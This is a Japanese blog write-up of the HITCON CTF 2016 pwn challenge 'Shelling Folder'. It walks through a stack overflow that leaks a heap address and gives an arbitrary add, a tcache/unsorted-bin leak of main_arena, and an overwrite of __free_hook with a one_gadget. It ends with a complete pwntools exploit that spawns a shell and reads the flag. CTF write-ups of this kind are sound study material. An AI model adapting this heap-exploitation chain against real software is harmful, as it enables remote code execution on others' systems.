newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 4.9】 ShellingFolder - HITCON CTF 2016

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

1: イントロ

bataリストのbaby問題に飽きたため

2016 HITCON CTF の easy 問題 "Shelling Folder"

 

 keyword:

tcache, unsorted bin, main_arena, __free_hook, onegadget RCE, gdbpwn

 

2: 表層解析

./shellingfolder: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

 

そういえばghidraについて

ghidraは関数に入った時点でのスタックポインタとのオフセットを

ローカル変数の命名に使用している

一方で他の多くのツール(gdb/ objdump/ IDA/ radare)はベースポインタとのオフセットを

命名に使用している

すなわち関数のプロローグでBPをプッシュする前と後のどちらのSPの値を

そのスタックフレーム内のオフセットとして利用するかで差異がある

なぜghidraが前者を採用しているかは謎だが

ghidraを使うときには注意しなくちゃね

 

 

3: プログラムの流れ

ヒープ上で似非ファイルシステムを実現している

できることは以下の通り

 **************************************
            ShellingFolder            
**************************************
 1.List the current folder            
 2.Change the current folder          
 3.Make a folder                      
 4.Create a file in current folder    
 5.Remove a folder or a file          
 6.Caculate the size of folder        
 7.Exit                               
**************************************

 

 

あるフォルダ(ディレクトリ)とファイルはともに

以下のようなfolder構造体で表現されている

 

f:id:smallkirby:20190829022649p:plain

ghidraって便利だね

childrenにはサブディレクトリとファイルが

parentには親ディレクトリのfolder構造体へのポインタが入る

folderかfileかはtypeメンバによって決まる 

 

 

4: とっかかりの脆弱性

6で現在のフォルダ内にあるファイルのサイズの合計を計算する

    local_18 = 0x0;
    memset(local_38,0x0,0x20);
    while (local_18 < 0xa) {
        if (param_1->children[(long)local_18] != NULL) {
            local_20 = &param_1->size;
            cpy_name(local_38,param_1->children[(long)local_18]->name);
            if (param_1->children[(long)local_18]->type == 0x1) {
              //this is folder (not include in calculation)
                *local_20 = *local_20;
            }
            else {
                //this is file
                printf("%s : size %ld\n",local_38,param_1->children[(long)local_18]->size);
                *local_20 = param_1->children[(long)local_18]->size + *local_20;
            }
        }
        local_18 = local_18 + 0x1;
    }

 

その際上のコードのように

まずスタック上(local_20)にカレントフォルダのsizeメンバへのポインタを確保しておき

そのポインタを通してフォルダのsizeを加算していっている

 

このとき cpy_name() 関数の中身は以下の通り

    size_t __n;
    
    __n = strlen(src);
    memcpy(dest,src,__n);

 

どのファイルがどのサイズかを出力するために

ファイルのnameメンバをスタック上にmemcpyしている

 

ここに脆弱性の1つ目がある

スタック上にはname用のbufferが0x18しか取られていないのに対して

folder構造体のnameメンバは0x20取られている

しかもstrlenでサイズを測っているから

name用のbufferをoverflowさせることができる

ではbufferの直下には何があるかというと

前述したsizeメンバへのポインタが入っている

 

よって0x18文字ピッタリの名前をつけることで

sizeメンバへのポインタ即ちheap上のアドレスをleakすることができる...①

 

それから0x18文字+<任意のアドレス8byte>を命名することで

sizeへのポインタをoverwriteし

任意のアドレスの値に加算をすることができる...②

 

 

5: unsortedbins から main_arena のleak

ここまででheapのアドレスがリークできた

続いてmain_arenaのアドレスをリークする

 

folder構造体のchildrenメンバにはサブディレクトリやファイルのfolderを指すポインタが入っている

②を使うとこのポインタを書き換えることができる

これを用いて既に作られているファイルへのポインタを少し書き換え

nameメンバが特定のアドレスを指すように調整すると

1のListTheFolderによって

任意のアドレスの値を読むことができる...③

 

なおココらへんのヒープ上の関係図は以下の図の通り

---------図を書く---------

 

それから

5では該当する名前のファイルやフォルダを消去する

システム上はfolder構造体をfreeしている

この構造体のサイズは0x88であるからunsortedbinsに入る

よって適当なchunk(file)をfreeしたあと

③を用いてそのchunkのfwdを読めば

main_arenaのアドレスをリークすることができる

 

但し

tcacheを消費させるためにも

7個のchunkを適当に作って7回freeした後に

連続で目的のchunkをfreeしなくてはならない

(tcacheはスロット7より8個目以降はunsortedに入る)

 

f:id:smallkirby:20190829025840p:plain

pwndbgって初めて使ったけど便利だね

上のような感じで

8個目はmain_arena+96を指している

これを③を用いて読めばmain_arenaのリーク完成

 

 

5: libc baseのリーク

知らなかったんだけど

libc baseとmain_arenaって必ず決まった距離にあるんだね

pwndbg> p &main_arena
$41 = (struct malloc_state *) 0x7f30573d8c40 
pwndbg> p &printf
$42 = (int (*)(const char *, ...)) 0x7f3057051e80 <__printf>

 

printfとmain_arenaの差は0x386dc0

libcにおけるprintfのoffsetは調べればわかるから

(リークしたmain_arenaのアドレス) - (printfとの差) - (printf offset)

を計算するとlibc baseが求まる ...④

 

 

6: __free_hook の onegadget RCEへの書き換え

さあここまでで

②と④によりlibcも含めて任意のアドレスに任意の値を書き込めるwrite-where-what状態になった

じゃあどこを書き換えようということになるが

今回はFULLRELROだから

GOT overwriteはできない

 

少し調べてみたら

__free_hookというstatic変数がlibcにあるらしい

これはデバッグ用の変数でfreeをするときにこれに入ってるアドレスに飛ぶらしい

(名前の通りフックするようらしい)

但しデフォルトでは0になっていて

その場合は普通のfreeに飛ぶ

 

これを書き換えて

その後にfreeをすることで書き換えたアドレスに飛ぶことにする

(可能なのは任意の値を「加算」することだからデフォで0なのはありがたい)

 

飛ぶ先は/bin/shをしてくれるonegadget RCEにする

$ ldd ./shellingfolder
	linux-vdso.so.1 (0x00007ffeeabd0000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd48f7d0000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fd48fdc4000)
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

 

上で調べたgadgetの2つ目を使うことにする

(何故か1つ目だとSIGSEGVになった)




6: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./shellingfolder"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

diff_mainarena_printf = 0x386dc0
offset_printf = libc.symbols["printf"]
offset_mainarena_libc = diff_mainarena_printf + offset_printf
offset_onegadget = 0x4f322

def change_folder(conn,name):
  conn.recvuntil("Your choice:")
  conn.sendline("2")
  conn.recvuntil("Choose a Folder :")
  conn.sendline(name)

def list_folder(conn):
  conn.recvuntil("Your choice:")
  conn.sendline("1")

def make_folder(conn,name):
  conn.recvuntil("Your choice:")
  conn.sendline("3")
  conn.recvuntil("Name of Folder:")
  conn.send(name)

def make_file(conn,name,size):
  conn.recvuntil("Your choice:")
  conn.sendline("4")
  conn.recvuntil("Name of File:")
  conn.send(name)
  conn.recvuntil("Size of File:")
  conn.sendline(str(size))

def remove_file(conn,name):
  conn.recvuntil("Your choice:")
  conn.sendline("5")
  conn.recvuntil("Choose a Folder or file :")
  conn.send(name)

def calc_size(conn):
  conn.recvuntil("Your choice:")
  conn.sendline("6")

def exploit(conn):

  #leak address of somewhre in the heap
  make_file(conn,"A"*0x18,0)
  calc_size(conn)     #read ptr into size
  conn.recvuntil("A"*0x18)
  addr1 = unpack(conn.recvuntil(" : ")[:-3].ljust(8,"\x00"))
  addr2 = addr1-0x78      #0x78=offset of size member in the structure
  heapbase = addr2-0x10   #0x10=metadata of the chunk(size,prevsize)
  print("heapbase: "+hex(heapbase))

  #create file whose size_ptr refers to...
  #(-0xe8 = offset between interested *children)
  make_file(conn,("B"*0x18)+p64(heapbase+0x18)[:-1],-0xe8) #dont know why [:-1]'s needed  

  #consume tcache
  for i in range(7):
    make_file(conn,"A"*(i+1),0)
  for i in range(7):
    remove_file(conn,"A"*(i+1)+"\n")
  
  #this chunk's fwd refers to main_arena+96
  remove_file(conn,"A"*0x18+"\n")
 
  #set the pointer into B sothat Ican read fwd (sub 0xe8)
  calc_size(conn)

  #leak addr of main_arena+96
  #and calc some addr I need
  list_folder(conn)
  conn.recvline()
  main_arena96 = unpack(conn.recvline()[:-1].ljust(8,"\x00"))
  libc_base = main_arena96 - 96 - offset_mainarena_libc
  onegadget = libc_base + offset_onegadget

  #escape into clean folder
  make_folder(conn,"A")
  change_folder(conn,"A")
  
  #overwrite __free_hook into onegadget RCE by 2byte at once
  make_file(conn,"D"*0x18+p64(libc_base+libc.symbols["__free_hook"])[:-1],u16(p64(onegadget)[:2]))
  make_file(conn,"D"*0x18+p64(libc_base+libc.symbols["__free_hook"] + 2)[:-1],u16(p64(onegadget)[2:4]))
  make_file(conn,"D"*0x18+p64(libc_base+libc.symbols["__free_hook"] + 4)[:-1],u16(p64(onegadget)[4:6]))
  make_file(conn,"D"*0x18+p64(libc_base+libc.symbols["__free_hook"] + 6)[:-1],u16(p64(onegadget)[6:]))
  calc_size(conn)

  #use free() and go to onegadget RCE
  make_file(conn,"E",0)
  remove_file(conn,"E\n")
  
  #get the flag
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()




7: 結果

 

f:id:smallkirby:20190829033007p:plain

無事にフラグが取れました



8: アウトロ

今回は割と頑張った

pwn分科会でmallocの勉強しておいたのが役に立った感じ

 

でもeasy問題でこれだと先が長い

 

 

 

 

 

 

続く・・・